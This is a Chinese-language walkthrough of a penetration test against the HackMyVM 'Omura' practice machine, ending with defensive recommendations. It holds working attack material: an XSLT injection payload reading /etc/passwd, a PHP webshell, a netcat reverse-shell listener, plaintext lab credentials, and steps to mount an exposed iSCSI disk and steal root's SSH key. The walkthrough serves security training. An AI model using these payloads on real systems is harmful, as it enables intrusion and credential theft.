1. 项目概述这次渗透测试的目标是HackMyVM平台上的Omura靶机。作为一款专注于网络安全训练的虚拟机Omura模拟了真实环境中常见的漏洞组合。整个测试过程从基础信息收集开始逐步深入最终通过iSCSI服务配置不当获取root权限。本文将详细记录每个环节的技术细节和思考过程。2. 信息收集与初步扫描2.1 网络发现首先使用arp-scan定位目标IP。这个工具通过发送ARP请求来发现本地网络中的活动主机比常规ping扫描更可靠因为它能绕过某些防火墙配置。arp-scan -I eth0 -l输出显示目标IP为192.168.50.195MAC地址08:00:27:C4:26:AA对应Oracle VirtualBox虚拟网卡这提示我们目标可能运行在VirtualBox环境中。2.2 端口扫描使用Nmap进行全面扫描参数说明-sC使用默认脚本扫描-sV服务版本检测-n禁止DNS解析-vv详细输出-min-rate2000加快扫描速度-p-扫描所有端口nmap -sC -sV 192.168.50.195 -n -vv -min-rate2000 -p-扫描结果发现三个开放端口22/tcpOpenSSH 8.4p180/tcpApache httpd 2.4.543260/tcpiSCSI服务Synology DSM特别值得注意的是3260端口的iSCSI服务暴露了域名信息iqn.2023-02.omura.hmv:target01。这个发现为后续的子域名爆破提供了关键线索。3. Web应用渗透3.1 初始访问访问80端口发现一个XSLT转换页面。XSLT可扩展样式表语言转换用于将XML文档转换为其他格式但配置不当可能导致安全风险。使用Gobuster进行目录扫描gobuster dir -u http://192.168.50.195/ -w /opt/zd/wfuzz.txt -x php,txt发现两个关键文件/index.php/process.php3.2 XSLT注入漏洞利用XSLT处理外部实体时存在注入风险。我们创建两个文件aa.xml:?xml version1.0 encodingUTF-8? catalog cd titleCD Title/title artistThe artist/artist companyDa Company/company price10000/price year1760/year /cd /catalogas.xsl:xsl:stylesheet xmlns:xslhttp://www.w3.org/1999/XSL/Transform xmlns:abchttp://php.net/xsl version1.0 xsl:template match/ xsl:value-of selectunparsed-text(/etc/passwd, utf-8)/ /xsl:template /xsl:stylesheet通过上传这两个文件成功读取到系统文件确认存在XSLT注入漏洞。从/etc/passwd中发现用户ford但SSH爆破未果。3.3 子域名发现利用之前获得的域名omura.hmv使用wfuzz进行子域名爆破wfuzz -u http://192.168.50.195/ -w /opt/zd/wfuzz.txt -H Host: FUZZ.omura.hmv --hh 795,301发现子域名wordpress.omura.hmv对应一个WordPress站点。4. WordPress渗透4.1 目录扫描使用dirsearch扫描WordPress站点dirsearch dir -u http://wordpress.omura.hmv/发现标准WordPress目录结构包括/wp-admin/wp-content/wp-includes4.2 配置文件泄露利用LFI漏洞尝试访问wp-config.php文件。经过测试发现路径为/var/www/wordpress/wp-config.php成功获取数据库凭据define( DB_NAME, wordpressdb ); define( DB_USER, admin ); define( DB_PASSWORD, dw42k25MiXT );4.3 后台入侵使用获得的admin/dw42k25MiXT登录WordPress后台通过插件上传功能获取webshell。创建一个包含以下内容的PHP文件?php system($_GET[cmd]); ?通过访问该文件执行系统命令成功获得www-data权限的反向shellnc -lvnp 90015. 权限提升5.1 初始枚举获取shell后首先进行基本枚举id sudo -l ss -lupta发现无法直接sudo需要寻找其他提权途径。5.2 iSCSI服务利用检查之前发现的3260端口iSCSI服务查找其配置文件cat /etc/rtslib-fb-target/saveconfig.json配置文件中发现CHAP认证凭据用户名root密码gTQynqDRAyqvny7AbpeZ1Vi6e目标名称iqn.2023-02.omura.hmv:target015.3 本地iSCSI连接在攻击机上配置iSCSI连接编辑/etc/iscsi/iscsid.conf启用CHAP认证添加CHAP用户名和密码发现目标iscsiadm -m discovery -t st -p omura.hmv登录目标iscsiadm -m node --targetnameiqn.2023-02.omura.hmv:target01 -p omura.hmv --login挂载发现的磁盘lsblk # 确认新磁盘如sdb mkdir /mnt/iscsi mount /dev/sdb /mnt/iscsi在挂载的磁盘中发现root用户的SSH私钥。5.4 获取root权限使用获得的私钥直接SSH登录root账户chmod 600 id_rsa ssh -i id_rsa root192.168.50.195成功获取root权限可以读取系统上的所有文件包括flag。6. 经验总结与防御建议6.1 攻击路径回顾本次渗透测试的关键路径XSLT注入→读取系统文件子域名爆破→发现WordPress配置文件泄露→获取数据库凭据后台插件上传→获取webshelliSCSI配置不当→获取root私钥6.2 防御措施针对每个攻击面建议的防御措施XSLT处理禁用危险函数php.ini中设置xsl.security_prefs为适当值输入验证严格校验上传的XML/XSL文件内容使用白名单限制允许的XSLT操作WordPress安全限制配置文件访问设置正确的文件权限强化后台安全启用双因素认证插件管理禁用不必要的上传功能iSCSI服务网络隔离iSCSI服务不应暴露在外部网络认证强化使用强密码并定期更换日志监控记录所有iSCSI连接尝试系统层面私钥保护SSH私钥应加密存储最小权限原则服务账户使用最低必要权限定期审计检查系统配置和敏感文件权限6.3 渗透测试技巧信息收集要彻底不要忽视任何服务横幅信息如iSCSI服务暴露的域名思维要发散当常规路径受阻时如无法SSH爆破考虑间接路径如通过iSCSI获取凭证自动化工具配合手动验证工具扫描结果需要人工验证避免误报漏报权限维持获取root后应检查其他持久化方法如cron job、SSH authorized_keys等这次Omura靶机的渗透过程展示了真实环境中可能遇到的多种漏洞组合强调了纵深防御的重要性。每个服务都可能成为攻击入口安全防护需要全面覆盖所有暴露面。
企业数字化 ERP 产品动态
相关推荐
现代智能雷达技术11——阵列与成像 (0) 本文深入解析相控阵雷达的空间域技术,揭示其通过相位控制实现电子扫描的原理,阐述从无源(PESA)到有源(AESA)相控阵的演进,强调T/R组件与GaN材料对性能的革命性提升,并介绍数字波束形… · 2026/9/25 1:54:11
极端随机树+布谷鸟+粒子群:遥感岩性分类系统实战 简介:本资源面向遥感地质学与机器学习交叉方向的学习者与研究人员,提供一套基于极端随机树、布谷鸟算法与粒子群优化算法的岩性智能识别系统,可用于多光谱遥感图像处理、高光谱数据特征提取以及矿产资源勘探与地质填图的自动化分类任务。压缩… · 2026/9/25 1:54:10
Vivado IP核锁定原因与三种解锁方案及版本迁移实践 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:54:04
2026最权威的十大降AI率平台横评:TaoToken统一Key接入实测 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 17:32:49
专精特新企业三大核心痛点与系统性突围方案解析 专精特新这四个字,这几年在中小企业圈子里几乎成了“金字招牌”。我见过不少企业花大力气去对标、申报,把“小巨人”或“专精特新”的牌子挂到墙上之后,反而开始犯嘀咕:接下来怎么走?钱还是紧巴巴,研发和销… · 2026/9/25 17:32:43
市场数据Skill如何防范提示注入与重复扣费?AlphaGBM Skills安全设计全解析 市场数据Skill如何防范提示注入与重复扣费?AlphaGBM Skills安全设计全解析 【免费下载链接】skills Bring realtime market data and research workflows into Claude Code, Cursor & beyond — 29 open-source Skills for stocks, options and commodities. … · 2026/9/25 17:32:37
睡前故事创作指南:用“互相惦记”打造治愈哄睡时刻 晚上九点,卧室灯调到最暗,孩子抱着枕头看我:“今天讲什么?”我已经把一本卡片书连续讲了三十天,嗓子一开就能背,实在没得讲了。那天只能硬着头皮现编,结果她睡着的时间,比播任何音频… · 2026/9/25 17:32:37
工程五金选型实战手册:从螺栓强度等级到扭矩控制与表面处理 1. 为什么每位工程人都该有一本五金手册干了十几年项目,我最大的体会是:工地上百分之八十的返工和维修,根源不在图纸,不在结构计算,而在一颗螺栓选错了、一根钉子打偏了、一种表面处理没匹配对环境。甲方催工期的时候没… · 2026/9/25 17:32:37
创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战 /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31
MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX /* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:37